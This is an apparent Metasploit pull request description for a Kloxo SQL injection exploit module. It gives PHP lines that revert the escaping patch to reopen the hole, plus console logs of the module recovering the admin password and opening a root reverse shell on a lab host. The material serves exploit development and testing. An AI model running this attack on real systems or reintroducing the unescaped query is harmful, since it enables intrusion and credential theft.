rapid7/metasploit-framework — pull request #2949 by jvazquez-r7 (2014-02-05 20:33:22+00:00)
Title: Add module for Kloxo SQLi

This module exploits abusesthe Kloxo SQLi recently abused in the wild:

https://vpsboard.com/topic/3384-kloxo-installations-compromised

Verification
------------

- [ ] Install Centos 5
- [ ] Install kloxo 6.1.12 as explained here http://wiki.lxcenter.org/Kloxo+Installation+Guide
- [ ] Reverse the sqli patch, modify the check_raw_password function from /usr/local/lxlabs/kloxo/httpdocs/htmllib/phplib/lxlib.php

Patch:
```php
// LxCenter - DT30011014
$password = $rawdb->rawquery("select password from ".mysql_real_escape_string($class)." where nname = '".mysql_real_escape_string($client)."'");
```

Undo with:

```php
$password = $rawdb->rawquery("select password from $class where nname = '$client'");
```

- [ ] **ALTERNATIVE:** Install kloxo 6.1.11, it can be found here: http://download.lxcenter.org/download/archive/ but I can guess an annoying time :P
- [ ] VERIFY which the kloxo control panel is working on the port TCP/7778
- [ ] Run the module like in the DEMO, hopefully enjoy shells, at least recovered passwords:

* Normal mode: no feedback while SQLi in progress

```
msf > use exploit/linux/http/kloxo_sqli
msf exploit(kloxo_sqli) > show options

Module options (exploit/linux/http/kloxo_sqli):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 7778 yes The target port
TARGETURI / yes The URI of the Kloxo Application
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 Kloxo / CentOS

msf exploit(kloxo_sqli) > set rhost 192.168.172.139
rhost => 192.168.172.139
msf exploit(kloxo_sqli) > check
[+] 192.168.172.139:7778 - The target is vulnerable.
msf exploit(kloxo_sqli) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.139:7778 - Recovering the admin password with SQLi...
[+] 192.168.172.139:7778 - Password recovered: admin1234
[*] 192.168.172.139:7778 - Logging into the Control Panel...
[*] 192.168.172.139:7778 - Retrieving the server name...
[*] 192.168.172.139:7778 - Exploiting...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.139:52450) at 2014-02-05 14:15:55 -0600

id
uid=0(root) gid=0(root)
^C
Abort session 1? [y/N] y

[*] 192.168.172.139 - Command shell session 1 closed. Reason: User exit
```

* Verbose mode: feedback while SQLi in progress

```
msf exploit(kloxo_sqli) > set verbose true
verbose => true
msf exploit(kloxo_sqli) > check
exp[+] 192.168.172.139:7778 - The target is vulnerable.
msf exploit(kloxo_sqli) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.139:7778 - Recovering the admin password with SQLi...
[*] 192.168.172.139:7778 - Bruteforcing position 8
[*] 192.168.172.139:7778 - Found: Y
[*] 192.168.172.139:7778 - Bruteforcing position 9
[*] 192.168.172.139:7778 - Found: YW
[*] 192.168.172.139:7778 - Bruteforcing position 10
[*] 192.168.172.139:7778 - Found: YWR
[*] 192.168.172.139:7778 - Bruteforcing position 11
[*] 192.168.172.139:7778 - Found: YWRt
[*] 192.168.172.139:7778 - Bruteforcing position 12
[*] 192.168.172.139:7778 - Found: YWRta
[*] 192.168.172.139:7778 - Bruteforcing position 13
[*] 192.168.172.139:7778 - Found: YWRtaW
[*] 192.168.172.139:7778 - Bruteforcing position 14
[*] 192.168.172.139:7778 - Found: YWRtaW4
[*] 192.168.172.139:7778 - Bruteforcing position 15
[*] 192.168.172.139:7778 - Found: YWRtaW4x
[*] 192.168.172.139:7778 - Bruteforcing position 16
[*] 192.168.172.139:7778 - Found: YWRtaW4xM
[*] 192.168.172.139:7778 - Bruteforcing position 17
[*] 192.168.172.139:7778 - Found: YWRtaW4xMj
[*] 192.168.172.139:7778 - Bruteforcing position 18
[*] 192.168.172.139:7778 - Found: YWRtaW4xMjM
[*] 192.168.172.139:7778 - Bruteforcing position 19
[*] 192.168.172.139:7778 - Found: YWRtaW4xMjM0
[+] 192.168.172.139:7778 - Password recovered: admin1234
[*] 192.168.172.139:7778 - Logging into the Control Panel...
[*] 192.168.172.139:7778 - Retrieving the server name...
[*] 192.168.172.139:7778 - Exploiting...
[*] Command shell session 2 opened (192.168.172.1:4444 -> 192.168.172.139:52451) at 2014-02-05 14:18:01 -0600

^C
Abort session 2? [y/N] n
id
uid=0(root) gid=0(root)
^C
Abort session 2? [y/N] y
```